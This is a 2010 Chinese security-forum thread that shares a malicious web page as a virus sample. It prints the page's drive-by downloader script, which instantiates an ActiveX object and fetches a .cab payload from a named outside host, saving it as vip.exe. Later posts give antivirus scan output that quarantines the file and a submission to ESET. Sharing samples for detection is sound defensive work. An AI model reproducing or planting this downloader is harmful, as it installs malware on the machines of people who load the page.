http://www.krindus.co.kr/myutil/mod_test/gm/baidubar.htm

显示全部楼层 · 发表于 2010-10-18 23:31:28

无法下载！

<script>
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=gb2312\">");
document.writeln("<SCRIPT>document.writeln(\"<html><head><script>function LoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveVC(){VipXChenzil[\\\"dloadDS\\\"](\\\"http:\/\/www.krindus.co.kr\/bbs\/dbsvip.cab\\\",\\\"vip.exe\\\",0);}<\\\/script><\\\/head><OBJECT ID=\\\"VipXChenzil\\\" cLaSsId=\\\"cLSiD:{A7F05EE4-0426-454F-8013-C41E3596E9E9}\\\"><\\\/OBJECT><script>LoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveuBDXChenzilLoveVC()<\\\/script><\\\/html>\");<\/SCRIPT>");
document.writeln("");
document.writeln("<META content=\"MSHTML 6.00.2900.3199\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY><\/BODY><\/HTML>");
</script>

显示全部楼层 · 发表于 2010-10-19 07:58:43

本帖最后由 rasis 于 2010.10.19 08:00 编辑

Begin scan in 'D:\Download\baidubar.7z'
D:\Download\baidubar.7z
[0] Archive type: 7-Zip
  [DETECTION] Contains recognition pattern of the HTML/Malicious.ActiveX.Gen HTML script virus
--> baidubar.htm
  [DETECTION] Contains recognition pattern of the HTML/Malicious.ActiveX.Gen HTML script virus
[NOTE]    The file was moved to quarantine directory and named '4e3d7ea5.qua'!

显示全部楼层 · 发表于 2010-10-19 07:59:22

to eset

http://samples.nod32.com.sg/inde ... 25a66332fe2dc2385a9

显示全部楼层 · 发表于 2010-10-19 17:31:00

样本？

[病毒样本] http://www.krindus.co.kr/myutil/mod_test/gm/baidubar.htm

浏览过的版块